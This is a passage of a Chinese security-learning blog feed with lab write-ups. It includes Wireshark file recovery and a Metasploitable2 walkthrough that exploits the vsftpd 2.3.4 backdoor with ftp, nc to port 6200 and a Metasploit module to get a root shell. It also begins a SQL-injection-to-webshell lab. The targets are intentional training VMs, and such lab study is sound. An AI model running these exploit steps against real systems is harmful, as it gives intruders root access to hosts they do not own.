title="测试环境："></a>测试环境：</h1><p>将手机与电脑连接至同一局域网中。</p><ul><li><p>手机IP:<code>192.168.31.216</code></p><p><img src="https://img.anineg.space/3454545.png" alt="Screenshot_20221004_140105"></p></li><li><p>电脑IP:<code>192.168.31.182</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20221004140012.png" alt="QQ截图20221004140012"></p></li></ul><h1 id="Wireshark抓包"><a href="#Wireshark抓包" class="headerlink" title="Wireshark抓包"></a>Wireshark抓包</h1><p>启动WireShark，选择WLAN过滤器：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20221004132831.png" alt="QQ截图20221004132831"></p><p>在过滤器中输入：<code>ip.src == 192.168.31.216</code>以捕获/过滤指定ip地址（手机）数据包。</p><p><img src="https://img.anineg.space/12345664556.png" alt="12345664556"></p><p>此时，我们在手机上发送一张图片给电脑，我们可以看到Wireshark捕获了大量数据包。其中这一项就是我们刚刚发送的图片：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20221004135150.png" alt="QQ截图20221004135150"></p><p>右键，选择“追踪流=&gt;TCP流”</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20221004135442.png" alt="QQ截图20221004135442"></p><p>数据格式选择“原始数据”，然后将其另存为新文件。</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20221004135514.png" alt="QQ截图20221004135514"></p><h1 id="数据还原"><a href="#数据还原" class="headerlink" title="数据还原"></a>数据还原</h1><p>使用16进制编辑器（如WinHex）打开文件，找到jpg格式图片的文件头<code>FF D8 FF</code>,并把文件头前面的数据删除：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20221004135748.png" alt="QQ截图20221004135748"></p><p>保存后，将文件后缀改为<code>.jpg</code>，至此，文件得以还原：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20221004135901.png" alt="QQ截图20221004135901"></p><div class="tag link"><a class="link-card" title="文件头标识及对应类型表" href="https://anineg.space/2022/07/10/yinxie2/#文件头标识及对应类型表："><div class="left"><img src="https://anineg.space/img/favicon.png"></div><div class="right"><p class="text">文件头标识及对应类型表</p><p class="url">https://anineg.space/2022/07/10/yinxie2/#文件头标识及对应类型表：</p></div></a></div>]]></content>
    
    
      
      
    <summary type="html">&lt;details class=&quot;folding-tag&quot; yellow=&quot;&quot;&gt;&lt;summary&gt; 相关原理： &lt;/summary&gt;
              &lt;div class=&quot;content&quot;&gt;
              &lt;p&gt;TCP（Transmission Cont</summary>
      
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Wireshark" scheme="https://blog.anineg.space/tags/Wireshark/"/>
    
  </entry>
  
  <entry>
    <title>Metasploitable2靶机学习记录</title>
    <link href="https://blog.anineg.space/2022/10/02/Metasploitable2/"/>
    <id>https://blog.anineg.space/2022/10/02/Metasploitable2/</id>
    <published>2022-10-02T04:27:33.000Z</published>
    <updated>2022-10-04T07:11:02.902Z</updated>
    
    <content type="html"><![CDATA[<h1 id="关于Metasploitable2"><a href="#关于Metasploitable2" class="headerlink" title="关于Metasploitable2"></a>关于Metasploitable2</h1><blockquote><p>这是Metasploitable2（Linux）</p><p>Metasploitable是一个故意易受攻击的Linux虚拟机。此VM可用于进行安全培训、测试安全工具和实践常见的渗透测试技术。</p><p>默认登录名和密码为msfadmin:msfadmin。</p><p>切勿将此VM暴露于不受信任的网络（如果您有任何疑问，请使用NAT或仅主机模式）。</p><p>要联系开发者，请发送电子邮件至msfdev@metasploit.com</p><p>有关详细信息，请参阅以下URL：</p><ul><li><a href="https://community.rapid7.com/docs/DOC-1875">https://community.rapid7.com/docs/DOC-1875</a></li></ul></blockquote><div class="table-container"><table><thead><tr><th>名称</th><th>Metasploitable2</th></tr></thead><tbody><tr><td>发布日期</td><td>2012年6月13日</td></tr><tr><td>作者</td><td>rapid7user</td></tr><tr><td>系列</td><td>-</td></tr><tr><td>网页</td><td><a href="https://sourceforge.net/projects/metasploitable/files/Metasploitable2/">https://sourceforge.net/projects/metasploitable/files/Metasploitable2/</a></td></tr></tbody></table></div><h1 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h1><p>靶机：Metasploitable2（IP:未知）</p><p>攻击机：KALI（IP:192.168.198.131）</p><p>平台：VMware 16.2.4</p><h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><p><strong>主机发现</strong></p><p><code>arp-scan -l</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20221002130319.png" alt="QQ截图20221002130319"></p><p><strong>使用 nmap 进行扫描主机</strong></p><p><code>nmap -sS -Pn -A -p- -n 192.168.198.132</code></p><p><img src="https://img.anineg.space/image-20221002131822557.png" alt="image-20221002131822557"></p><p><img src="https://img.anineg.space/image-20221002131900368.png" alt="image-20221002131900368"></p><p><code>nmap -sV -p- 192.168.198.132</code></p><p><img src="https://img.anineg.space/image-20221002132014254.png" alt="image-20221002132014254"></p><h2 id="收集到的信息："><a href="#收集到的信息：" class="headerlink" title="收集到的信息："></a>收集到的信息：</h2><ul><li><p>IP =&gt; 192.168.198.132</p></li><li><p>开放的端口：(真的是相当的多啊…)</p><ul><li>PORT // STATE // SERVICE // VERSION</li><li><p>21/tcp    open  ftp         vsftpd 2.3.4</p></li><li><p>22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)</p></li><li><p>23/tcp    open  telnet      Linux telnetd</p></li><li><p>25/tcp    open  smtp        Postfix smtpd</p></li><li><p>53/tcp    open  domain      ISC BIND 9.4.2</p></li><li><p>80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)</p></li><li><p>111/tcp   open  rpcbind     2 (RPC #100000)</p></li><li><p>139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</p></li><li><p>445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</p></li><li><p>512/tcp   open  exec        netkit-rsh rexecd</p></li><li><p>513/tcp   open  login       OpenBSD or Solaris rlogind</p></li><li><p>514/tcp   open  tcpwrapped</p></li><li><p>1099/tcp  open  java-rmi    GNU Classpath grmiregistry</p></li><li><p>1524/tcp  open  bindshell   Metasploitable root shell</p></li><li><p>2049/tcp  open  nfs         2-4 (RPC #100003)</p></li><li><p>2121/tcp  open  ftp         ProFTPD 1.3.1</p></li><li><p>3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5</p></li><li><p>3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))</p></li><li><p>5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7</p></li><li><p>5900/tcp  open  vnc         VNC (protocol 3.3)</p></li><li><p>6000/tcp  open  X11         (access denied)</p></li><li><p>6667/tcp  open  irc         UnrealIRCd</p></li><li><p>6697/tcp  open  irc         UnrealIRCd</p></li><li><p>8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)</p></li><li><p>8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1</p></li><li><p>8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)</p></li><li><p>37649/tcp open  mountd      1-3 (RPC #100005)</p></li><li><p>41732/tcp open  java-rmi    GNU Classpath grmiregistry</p></li><li><p>42063/tcp open  status      1 (RPC #100024)</p></li><li><p>58117/tcp open  nlockmgr    1-4 (RPC #100021)</p></li></ul></li></ul><hr><h1 id="渗透测试"><a href="#渗透测试" class="headerlink" title="渗透测试"></a>渗透测试</h1><h2 id="21端口"><a href="#21端口" class="headerlink" title="21端口"></a>21端口</h2><p>我们可以看到在上方开放的端口中的21端口，版本号是“<strong>vsftpd 2.3.4</strong>”。对于这个版本，我们可以发现存在“笑脸漏洞后门”：</p><blockquote><p>这个漏洞是开发者在软件中留下的后门漏洞，当连接带有vsftpd 2.3.4版本的服务器的21端口时，输入用户中带有“<code>:)</code>”,密码任意，即可运行 vsf_sysutil_extra() ：打开服务器的6200端口，并且不需要密码就能从6200端口以管理员身份登入目标服务器。因为输入用户名需要带有“<code>:)</code>”，所以称笑脸漏洞。</p></blockquote><h3 id="开始尝试攻击："><a href="#开始尝试攻击：" class="headerlink" title="开始尝试攻击："></a>开始尝试攻击：</h3><h4 id="ftp连接靶机："><a href="#ftp连接靶机：" class="headerlink" title="ftp连接靶机："></a>ftp连接靶机：</h4><p><code>ftp 192.168.198.132</code></p><p><img src="https://img.anineg.space/image-20221002150006975.png" alt="image-20221002150006975"></p><p>随便起一个用户名，再用户名中加上笑脸符号<code>:)</code>，密码随意。然后需要稍等片刻。完成后再对靶机端口进行扫描，会发现开启了一个6200端口：</p><p><img src="https://img.anineg.space/image-20221002150312694.png" alt="image-20221002150312694"></p><h4 id="使用nc对靶机进行连接："><a href="#使用nc对靶机进行连接：" class="headerlink" title="使用nc对靶机进行连接："></a>使用nc对靶机进行连接：</h4><p><code>nc 192.168.198.132 6200</code></p><p><img src="https://img.anineg.space/image-20221002150744826.png" alt="image-20221002150744826"></p><p>直接获得root权限。</p><h3 id="我们再使用MSF框架来试验一遍："><a href="#我们再使用MSF框架来试验一遍：" class="headerlink" title="我们再使用MSF框架来试验一遍："></a>我们再使用MSF框架来试验一遍：</h3><h4 id="执行-msfconsole"><a href="#执行-msfconsole" class="headerlink" title="执行 msfconsole"></a>执行 <code>msfconsole</code></h4><p>msf6 &gt; <code>search vsftpd</code></p><p><img src="https://img.anineg.space/image-20221002144134861.png" alt="image-20221002144134861"></p><h4 id="使用模块："><a href="#使用模块：" class="headerlink" title="使用模块："></a>使用模块：</h4><p>msf6 &gt; <code>use exploit/unix/ftp/vsftpd_234_backdoor</code></p><h4 id="设置靶机IP："><a href="#设置靶机IP：" class="headerlink" title="设置靶机IP："></a>设置靶机IP：</h4><p>msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; <code>show options</code></p><p>msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; <code>set rhosts 192.168.198.132</code></p><h4 id="运行："><a href="#运行：" class="headerlink" title="运行："></a>运行：</h4><p>msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; <code>exploit</code></p><p><img src="https://img.anineg.space/image-20221002144431744.png" alt="image-20221002144431744"></p><p>获取root权限成功。</p><hr><p>更新中…</p>]]></content>
    
    
    <summary type="html">Metasploitable是一个故意易受攻击的Linux虚拟机。此VM可用于进行安全培训、测试安全工具和实践常见的渗透测试技术。</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="靶机" scheme="https://blog.anineg.space/tags/%E9%9D%B6%E6%9C%BA/"/>
    
    <category term="渗透" scheme="https://blog.anineg.space/tags/%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>VulnHub——DC-1靶机学习记录</title>
    <link href="https://blog.anineg.space/2022/09/24/dc1/"/>
    <id>https://blog.anineg.space/2022/09/24/dc1/</id>
    <published>2022-09-24T07:18:53.000Z</published>
    <updated>2023-06-01T06:27:29.436Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="抱歉, 这个密码看着不太对, 请再试试." data-whm="抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容.">  <script id="hbeData" type="hbeData" data-hmacdigest="3b2ec1f57f353b6645dd979ba5d3cad9d0644f820d1485f13da96c44b3fe5ac9">bed7a276ba7847d76277538a14c701d539e712094440845e732be4db921a4b2c9f60f64283965e376256edf83ade289596a2c4bafd179683f8a3f087573e8e1bb2cef1a7701e01049ed31e7a76bc988b74872cef6ac01da87cfe9103e1c64b9c6ea162bb60f583194cd9cac0c7781460e3f928bece5eea03e0b6dac55e275416b827da3d9ec5ad714cf7a5a30b9f2eaf19ca9fdd7ac62d1898c2a8872fcd4de0760f37e21fe4b4832b03a9b6c8a77b7d7412a847fbc09a5feada0410adf427e73955dfd159d53ff7c85b33f0981a240934defe76022109a5ffaf3ec2ae9f9c7f42ff85eefa452cc38fe91635765af6d66de960bd696cad07a782074164ea3411f0607f5a864a2ce59229c0bfad07ff97dbcf48edb0e85ce5ee0fbc9cbf4397acfbbdc3d1c3e4177bf147168a84a6973f4849333ca16b92c606d3eb6af6c5e9ab90627d0a8a7ef31394498c7d7a539d234c1148ae473886b980bfb4a7ad88baa1a199800c6bd2cb3c188141fed0e40c57c78688d9f38a279258bd011eb50d11fa373737047e8fca91484ea17a4bbaa1b94d1de37fa0c26862cddfcf1742be087753be1b516f0f95c03b20cb02e7ce7255465322829c438b777f6721a8563ba7338515b94a0e2381a71728ac6434eabf74e58cf116d68f8d0ea124e641e163f984346b121523ad8a5f5214b989fa51c81ac1399cd6cc9f0445386670f1438b27d36bedb805480f174d39cc44e4089f86869f29f89d10c3e40784346ee95fb473fd2b44011035059a9af79a6be11116416f73c720f71cd7f2019a430f2f0125cdba3361308d2f4f5be094f6a2e5f5a5921c305ec87718d5952f527888e630c03caecf6831cc6e2e904d7bc873d170b291a778cf7b62f2dcf77bf919a9d1af239ceba5da8a05886e575a5d9a2e29920d924a1f05f042772b28209171147b0fb71a67b44691b64d8cd26c3ac53a033c98a11a5e19bbd37c60cac81f868a63bd0aa453a7de0c1ac9f28d263988d44714be02c6da486f56df77944237c5c77fa9ad9b84caea5165d77117f51d95aba7659b2feedc8e166d0dc01ccf1e2c78e9757d9d4717688de3efdc317397d749237f80bdfaaba6209a6a31e238e6249ae86bc381e35b14f2899eb93b41e035025a95b1405a35ae47019eab9698f5247c00aa821dda963aa190fccbb368f1b7c3637d2e617b8c59e2a49880582e47cf9717ae0eb7bde0252360ae65cd06303061fa3d5f89541c6698e451ec3eb07672b2a346d039b024636486e04e0f3b377ab611790aa86dc867c7c198235297a1225e0a2a337127b121244bce8f8a8ed0807e57db2a56e72d63230d8a364568b02142dcdec63d68002a6796a9247c8ead986a50155ba5c132594b033f7e77c0d6fadaa41004514c9eb35cdca9c382171dda4ba829d2d9bd8aca4577b94be2b1a5a5e0d26ac7e5d177804b97ee4afcce258886149a015a5bf597134a4a78fec3650201086d7b9f4e9332fa84d9622946cfd7f48f0101c8b6bb5071e8d7fdf2d4480f6c9a8c6067f7e73ce0de64f4793dfb4dff3e89de091a7afec86f6fd49d1d77c42c72e0658f2a942716d10db42357e10b20fa86795c87776b2edc3e1641f001adedce9926f8edc851b9cb7080950d30ba1494262ab5c420ceff2f9ed814631e1736a5190e2cd23bc9276f9e6254afac9542623478e7d2cb0151b186dd7a0e8b599859c5bb8de185b82506586277c14654abf605be65986a3321f9a467875b6359e44ccf75256a2d0f408f7731872b0743352f5d14a2fcba46ee82bc3852eabcad88cf120cd47b395bd8b56f4a8f831b4b4ed7bfd62be405c779c04d623b32f2d1d625e64fb4ea50ce35e5eff4d1f87ed952e422986b389c4864cd59cbf5140704ed9edb37f9cab45c3bd8222bafdca781ffc59bde980b850a337fdf06b3de55084ee354bbc210e1d1d2308baa02deb9c2a93885977303d0ecd43b66919910b7d77910970cce3154a53511a9747a448b75ad9992e4aed7bae145916e374f0d7fb166985f4f84b0b767dca49b25a02e630c13af91bc579e1275711d099b02de02c669a9770831bd8a9f11b5975ae6780cb38d16ac026bfc221d498f320cbcc93a39d47185527131d4c3035d25957c38a924425e2daf408efe449740548f9bbdf101d7f6147e9e27c267464a59647b60b3a6f612b127fb1087efb97d8647173645e9c12a1e2294650d38da0a4c168f1b8df976e9c438f673dff1aa39ead1a0f7a4850037a29e59b0296080cf048abce43633a441de92fec0f0c5feb56d2552fba13ba36efc83d7d8082f9cf9c1ace5926d7667f75bfe0cdf5baccf53487377970edf06be6ea7c99b9a2b053cf884b66be4bfa75903a501ca3ee64a1d16f86127e706d95948ec20fcec531a7a27a87c9821bfe23c6c43b8e436d363a9b058d1716e6a09cf58f941c785772e2d87417266452c46edcc880f456a1cb60818a89af6d6fdc14d56534061ef244fa2fecd2d294ea840d6497d1935896708bea520e80d320ff564891b8a7e73093f929fa3efef1c1ec49e39e9948b41c417e09dc59a313be02bf0ee60f00199ce710b04db8bb0a5b53daa8271c44f1dec3c2cac55c59a455cecec4ac967a8d841c1d9b5b99c264313717bd91c98697a118e6f86a10b9541d39fd0c09ae2bdc0412ec17c9b80357fb63cbcbfccee0950778647900033475c63cf5b8764336db111e4e43fb4875652507c6fd2291296</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-up">      <input class="hbe hbe-input-field hbe-input-field-up" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-up" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-up">加密文章，请输入密码</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">DC-1是一个专门建造的易受攻击的实验室，目的是获得渗透测试领域的经验。</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="靶机" scheme="https://blog.anineg.space/tags/%E9%9D%B6%E6%9C%BA/"/>
    
    <category term="渗透" scheme="https://blog.anineg.space/tags/%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>2022/9/10，来自广西桂林</title>
    <link href="https://blog.anineg.space/2022/09/10/letter1/"/>
    <id>https://blog.anineg.space/2022/09/10/letter1/</id>
    <published>2022-09-09T16:00:01.000Z</published>
    <updated>2022-09-09T04:52:12.844Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="抱歉, 这个密码看着不太对, 请再试试." data-whm="抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容.">  <script id="hbeData" type="hbeData" data-hmacdigest="5eb2e4208aeee67215fd846a934f80c87190f17dc4ddec3794ff3c6acd11b829">79a05bc0503f79b89e0f5d9d72ac99970a53cf5cc16a923d1fc10be8557a7b1b87500effd05fda921309daef9f384740aef8cabd2054be0688fbbce86eac7bfb09ca1050f29b0e50585192a55f1410def10f9bad245828601948dcd89d37d22901453e7e4a8215cdd9ac31d6d811a3374d3a169571134e0b7fb3e4ea07a38681e6e9e7ee2e20127c7524d345fe1ca864726f5362fcc86352b0aca0ab42568489ee14e14f4c035650fcf78d90beb0a85f81be36acb2e902ffc9e6e953c2ea97dd9b2cd2be750040a2c266426da2b51d3deeda99321cc76bb529066bc7bda9ca13f41621986b2e63b2148717ced5254a5965464a0c284260edf9fac2253fc26fb0f42453776fc5f0113a3a1419580acce51f3e31cff82867a84adada4cb1200c025257c44c2e2a2d7758ee3c4dd18e8d703de4e94f77ae22fcb5c3f8f65aa84acc8b59dbda94f7eb7d5c830789b654f860feb5d8cc0bdb55a9dd5a6677acf6def4efc62ed1f74894457eb64030f20e575ca09e74fa74dab305ddbfe8c75a3e8ee8d9bcf2f216bcb011625a548cfd524d1d7ee720f40485af33912de6256a178aa2af3ed86647f876dc054b8581b53a1fdc791ff24101912f22b69bb4592812349b278adb486cee00acf0ba35137c1620507cbb3a7273e0a7bbf2ee798f1ffef7cb7d17f81e77d47c12e76018414c98068c2d2e1fe49b70f1963ed804fdb4e05f654ada9bd3a1ccc545d8c53876401f807fbbddaae0f2f678571a83fd0d2c0866bc1387fec52535190bce521d32e11c89d547ec098fb8933f4b8c1e34ba6f7cef62c9e2c9e56f8c67bcef84d3dd54f65d38a3752ff24017dd99183fc4330d9c8dbc16c9647d5a3a9d93f66a41716854244cedc6a4223c8850f67abdcd482d1452489b54e0d07a906007426fc7ff2a52cbb5a737ec51261cd7a981b430f0be14417758579f6b22cdc4577942f2028a5407a8b8054d0cd1d3444795abcd3c55ebb6d3e55d238dbc9c1640d3154abb627a2863df2bb9b884437b80e4d8b8dda41676d65c67a2229d1d308193f572b55a4ce02f2f3ac50642e8c7a5b9b1d7cc75cfd74ed17a609ad505e23e9b4bf75606492bcfe2e883347116037f5f4488e9f92710778ed7690ad797f53aebc7a5e1e21e6013611b1181b476ecfe536c4364eed1b5adc3232265ffe8e388d5c028b160177272961fb45b3497aceb2c977be597513244d8768423d1deb3f8e002da9373e518160d5d5d86d398cc00fd35a2aeb96d702a3180c0e239c3861306e86c18a387899e11e18a503f1f07c3ec27d3361fa8c0789aa6fce70940286fa3fa01b48f981e52381f1f9314fad958e06429cf0e129253fd62a84c27e630e3f0cece6add23bfd22af9da84803bc018d1fd247f86d96ec99ed551eed42ef8106cb6b60f216eb528e895884d34777af1bf0fe888e06be9a57732e1af07d8c896a484d97767feb0eeb06024686287348f65a7c0ab14bec0669db12614cb5af5286a993382b99789ebc38c83945ac183466f9bed378d773b52152a631cbcd49eedb8eec1a43c09d0a1a18e7aaaba3d5e24f2fb84bc7ee70c54adf2bd1b78ca50bf15a83bdc77c12b2b6d995e413ac7aae36b3a2ed56cdc996cad7a762919e4316766c8ee1ba53d871996121fe075972e629d85919fd21b1b1eca16c16c5eed3d82817dfc124a7b988ccf6ddf1a7c45afc3947e7438105c9a4db6a7f50e585b560fea60d048424384db80403da772e0dc29d1c560f71e343461d93f09209f3963edc168ff8717c259480dab591d94f666cd6c61cc9295b151a22e7305f04fea86a3f60a81350c0573c0a9e07d4a69cc02b714f33c38fa87fd63d15308bf83817ee554df04912f771eb16bc961d394c3efca134b9e6865e199c9b12332e8d23981972dfe5a2f6911f37c844965b3e88039e768d842c6d20a5b174cececa91ea534b77709956561a5bf5650caba3c495917d368922d1677dad06f0190c12205e0a83a99c6c3f657fbfaff4cbdf413651dde0cfe4cbaaf22867cdaa7cfae3a8de1dd137c761be3b67fbf0536e36c6031349653af04d9e1ac27e670bcd0bb863f91249a79a5850d593677465460a0f69477e4d6a6b28972cee39b81965add31b4b0e2d1de53e889d879419b0b5f8f1dfa7ee71290906c7f7a133f15a31230ea98e4b1262a52d2b1524b35edf82c061c94d07e742139018e16c6b38258ca3211c01d96929c4752e72b5240a056f8df50678e0218940d40b1d9c085443be49b2b76d07c120cd942eb85ceb24bfce582d6b0adeb2d005d46e63ae07370ed9e29d153840b72a5c1a6d0c31ac9b76151b6192ceddadfa3531c2c2af8f8039c9482977a7d3172e5fc569cd0b37e796f14835baffcf0120e2799b90c61f8a47ba5fd57646913cbad30334629ccab3c7dd210f1a60412dc4e9f3369e6c90f5d63553fd216858f9fc0c6383f5abbac129a6a574331e1b0965b8e1450145bdffd40542ef7e2db5974d114fdaddd428f69530268fafba8ef11ebc4cfb89e2e468acaffc3cfa34eb487dfae8de7ebfc824cf86ed910a3d432d363a89d493e36bc59810e63170c351882491118a6004f966f916be73038da66c762e23a166c2a75eef0dbe07c683e717c73b02bae79b942aae0eb51de83605a8d6a48f5b13183d0ed8b525cd5c1e85a7e4731675930540956cd0728a11f13ed64a6a4b3b34643007f9f4687cb179a13689df951b7d5e07ac7229d3f1b5f452c44ba728932d088b35c1606cf184b3b1c562017e2ab79f205fa9d74e0ca1d1db641d6379c23d79a9ce56570c2238772eaabea31f03625fe2c89008b27901260816835ddb837e734a03b84c8c82b81d8dcb6619082a7481c9195202aeb34a832d479cd2789d532877b0b1d1680ff8a3f6a00b554f2ede7557212f12bbd25389eb383edd7f0bfd25dd9e69f175404f94f4257cb22557a45a790fee861bea1e1142d702ea1fd6294db8fee01d7663f45d777872ced3906f806998888830a3c474693200f49d2a4b7ead027018b267fa8e46826e94aebc386eb1aad9515b51af1d90f1a43a1bc4f4f40912068d20ef61f91753f5d01d1bc7cd898f41c1edd7453f3aa25faf1db2313cea66d04d0a1972072b58df097fd558e87a542328d88fca98cc305f886731d94f492fc92e752e389c28660f6b539c2ca02d0cd5cf7e520a5e6993ab206dae0f923f69659167910d6c915abb54a5729d348926df69e7f053c9464b40fba6b9d9d19e7de648aae668e7d9afa83c543c6d84b1ade7022411c35500233ffa7829b8b125b55ba2bc8d22c6d480945aa1c77ea02bc6d16b39fa21067c58de5aa8e905bdd2554f6a63b4e3133a5815d97973abc5d38c8772f72d6a6add25f039852df5aac737c0b0a37ea352f5df178b5f2f2dc4f36f2f292355941acc7bb32fe0abb5e04309889da54ac107145e484c24a644d8c5cc44a36569e453a9977629c56d289e114efa1f32025dfb3e71f3fec5d8668647cad8d943aca034720e604c21eb69ac5431ef9132390d816117f906ed5f3a4d78b51891414280dce82de75cb933a7c08101fde25f322ef6233f7af6203dbaf9561c63e1c152d28a2d14be3dbc7052d63ec3a410444fb5b81de961405281de41e9245c10b05fc7e8d31ac21e761c0217f94b57fc50043be3f8c8964df71ad6a4b98f2a50d25f880c61107d270db270c612e73c60a79da612cd920db9aefe0ffe6ed9f7a8fe476d425cb832c161298fd7ec6c2e9349af6484a28a4fbf887d69441f96aeacb6a7ce9c22545c4d905b7f4611c9a8c838ddead90e6b9f5777d9e2c03fd7bc2ccaeafd842f5834f12e2e2379c58bd3ad233eab93732595cd48fba789dd546b58c0757c8646c116eefb356cea86af006cb360ef1a126ada0152847ba5028b5b1237e1f637f220413ea4bf437102238</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-up">      <input class="hbe hbe-input-field hbe-input-field-up" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-up" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-up">加密文章，密码在明信片上哦</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">有东西被加密了, 请输入密码查看.</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>My Awesome Photoblog靶机学习记录</title>
    <link href="https://blog.anineg.space/2022/08/08/Photoblog/"/>
    <id>https://blog.anineg.space/2022/08/08/Photoblog/</id>
    <published>2022-08-08T10:33:22.000Z</published>
    <updated>2022-08-11T12:19:10.312Z</updated>
    
    <content type="html"><![CDATA[<h1 id="关于靶机"><a href="#关于靶机" class="headerlink" title="关于靶机"></a>关于靶机</h1><blockquote><h2 id="破解渗透测试实验室：从-SQL-注入到-Shell-VM"><a href="#破解渗透测试实验室：从-SQL-注入到-Shell-VM" class="headerlink" title="破解渗透测试实验室：从 SQL 注入到 Shell VM"></a>破解渗透测试实验室：从 SQL 注入到 Shell VM</h2><p>‎你好，朋友们！！今天，我们将解决另一个CTF挑战“从SQL注入到Shell I”。此 VM 由 Pentester Lab 开发。您可以从此处下载：<a href="https://www.vulnhub.com/entry/pentester-lab-from-sql-injection-to-shell,80/‎">https://www.vulnhub.com/entry/pentester-lab-from-sql-injection-to-shell,80/‎</a></p><p>‎在 VM 软件中安装 iso 映像并启动它。本练习中给出的任务是访问管理控制台并上传 PHP Webshell。‎</p><h3 id="水平"><a href="#水平" class="headerlink" title="水平"></a>水平</h3><p>‎初学者‎</p><h3 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h3><p>‎本练习说明如何从 SQL 注入中获取对管理控制台的访问权限。然后在管理控制台中，了解如何在系统上运行命令。‎</p><h3 id="‎你会学到什么？‎"><a href="#‎你会学到什么？‎" class="headerlink" title="‎你会学到什么？‎"></a>‎你会学到什么？‎</h3><ul><li>‎使用 UNION 的 SQL 注入利用‎</li><li>‎破解 md5 散列密码‎</li><li>‎编写 PHP Webshell‎</li></ul></blockquote><div class="table-container"><table><thead><tr><th>名称</th><th>PENTESTER LAB: FROM SQL INJECTION TO SHELL</th></tr></thead><tbody><tr><td>发布日期</td><td>2012年9月13日</td></tr><tr><td>作者</td><td>Pentester Lab</td></tr><tr><td>系列</td><td>Pentester Lab</td></tr><tr><td>网页</td><td><a href="https://www.vulnhub.com/entry/pentester-lab-from-sql-injection-to-shell,80/">https://www.vulnhub.com/entry/pentester-lab-from-sql-injection-to-shell,80/</a></td></tr></tbody></table></div><h1 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h1><p>靶机：My Awesome Photoblog（IP:192.168.3.108）</p><p>攻击机：KALI（IP:192.168.3.96）</p><p>平台：VMware 16.2.4</p><h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><p><strong>主机发现</strong></p><p><code>arp-scan -l</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220808182145.png" alt="QQ截图20220808182145"></p><p><strong>使用nmap进行扫描主机</strong></p><p><code>nmap -sS -Pn -A -p- -n 192.168.3.108</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220808182345.png" alt="QQ截图20220808182345"></p><p><code>nmap -sV -p- 192.168.3.108</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220808182446.png" alt="QQ截图20220808182446"></p><p><strong>web指纹识别</strong></p><p><code>whatweb -v 192.168.3.108</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220808182618.png" alt="QQ截图20220808182618"></p><p><strong>网站目录扫描</strong></p><p><code>dirb http://192.168.3.108 /usr/share/dirb/wordlists/big.txt</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220808182855.png" alt="QQ截图20220808182855"></p><p><strong>查看html代码</strong></p><p>访问<code>http://192.168.3.108/</code>，<kbd>Ctrl</kbd>+<kbd>U</kbd>查看页面源代码：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810194348.png" alt="QQ截图20220810194348"></p><p>发现代码中有<code>cat.php?id=1</code>，疑似可以SQL注入。而<code>admin/uploads/</code>则可能是文件上传的路径。</p><h2 id="收集到的信息："><a href="#收集到的信息：" 